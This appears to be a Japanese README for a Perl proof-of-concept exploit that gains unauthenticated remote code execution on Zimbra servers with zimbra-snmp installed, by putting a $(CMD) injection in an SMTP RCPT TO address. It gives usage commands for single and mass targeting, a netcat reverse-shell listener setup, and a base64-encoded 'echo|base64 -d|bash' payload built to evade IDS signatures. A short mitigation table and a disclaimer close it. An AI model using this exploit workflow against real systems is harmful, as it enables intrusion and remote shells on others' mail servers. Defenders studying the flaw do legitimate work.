
Zimbra SNMP通知 OSコマンドインジェクション — SMTPエクスプロイトを介した未認証RCE(PoC)
| フィールド | 値 |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — OSコマンドに使用される特殊要素の不適切な無害化 |
| 影響を受けるバージョン | Zimbra ZCS < 10.1.20(zimbra-snmpがインストールされている場合) |
| 修正バージョン | ZCS 10.1.20 — 2026年7月 |
| CISA KEV | 2026-08-21に追加(FCEB修復期限: 2026-08-24) |
| 認証要件 | なし |
| 実行ユーザー | zimbra OSユーザー |
オプションのzimbra-snmpパッケージには、/var/log/zimbra.logを監視して以下のパターンに一致する行を探すswatchdogルールが同梱されています:
Service status change: <NAME> changed from <STATE> to <STATE>
一致が見つかると、swatchdogはキャプチャした<NAME>フィールドを、サニタイズ処理なしでSNMP通知シェルスクリプトに直接渡します。
認証されていない攻撃者は、特別に細工されたSMTP RCPT TOコマンドを送信することで、細工されたログエントリを注入できます。RFC 5321の引用符付きローカルパートを使用することで、シェルのメタ文字(例: $(...))が<NAME>内に埋め込まれ、swatchdogが結果のログ行を処理する際に実行されます。
この脆弱性を悪用するには、ターゲット上で以下の3つの条件がすべて満たされている必要があります:
zimbra-snmpパッケージがインストールされているsnmp_notify = true)swatchdogサービスが実行されている攻撃者 Zimbra MTA
│ │
│── TCP接続 :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── RCPT TOデータをログ記録 ──► /var/log/zimbra.log
│ │ │
│ │ swatchdogがパターンに
│ │ 一致、$(CMD)を抽出、
│ │ 実行
│◄─────────── シェルコールバック ───────────────────────────────────────┘
RCPT TOを含む標準的なSMTPセッションを送信します。swatchdogがログパターンに一致し、注入された$(CMD)を抽出します。zimbra** OSユーザーとしてCMDを実行します。cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — 1行に1ホスト、オプションで:port、#で始まる行は無視されます:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| フラグ | 長い形式 | デフォルト | 説明 |
|---|---|---|---|
-H | --host | — | 単一ターゲットのホスト名またはIP |
-f | --file | — | ターゲットリストを含むファイル |
-p | --port | 587 | デフォルトのSMTPポート |
-r | --rhost | — | リバースシェルコールバック用の自分のIP |
-R | --rport | 4444 | リスナーポート |
-t | --timeout | 15 | ソケットタイムアウト(秒) |
-S | --ssl | off | 直接TLS(ポート465で自動有効化) |
-v | --verbose | off | 完全なSMTPダイアログを表示 |
-L | --logfile | — | セッションログをファイルに書き込む |
-h | --help | — | ヘルプを表示 |
# ターミナル1 — リスナーを起動
nc -lvnp 4444
# ターミナル2 — エクスプロイトを実行
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
リバースシェルコマンドは、注入前にbase64エンコードされます:
echo <b64>|base64 -d|bash
これにより、IDS/IPSが/dev/tcp、bash -i、nc -eなどの平文シグネチャを検出するのを防ぎます。エンコードされたブロブは、RCPT TOの引用符付きローカルパート内の$(...)として注入され、swatchdogがログエントリを処理する際にサーバー側で実行がトリガーされます。
| アクション | 詳細 |
|---|---|
| パッチ | Zimbra ZCS ≥ 10.1.20にアップグレード |
| SNMP通知を無効化 | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| パッケージを削除 | apt remove zimbra-snmp / yum remove zimbra-snmp |
| ネットワーク制御 | 運用上可能な場合、インバウンドSMTP(25/465/587)を信頼できるリレーに制限 |
この概念実証は、認可されたセキュリティテスト、学術研究、および防御目的のみのために公開されています。
所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して実行することは違法です。
著者は、このツールの誤用または損害について一切の責任を負いません。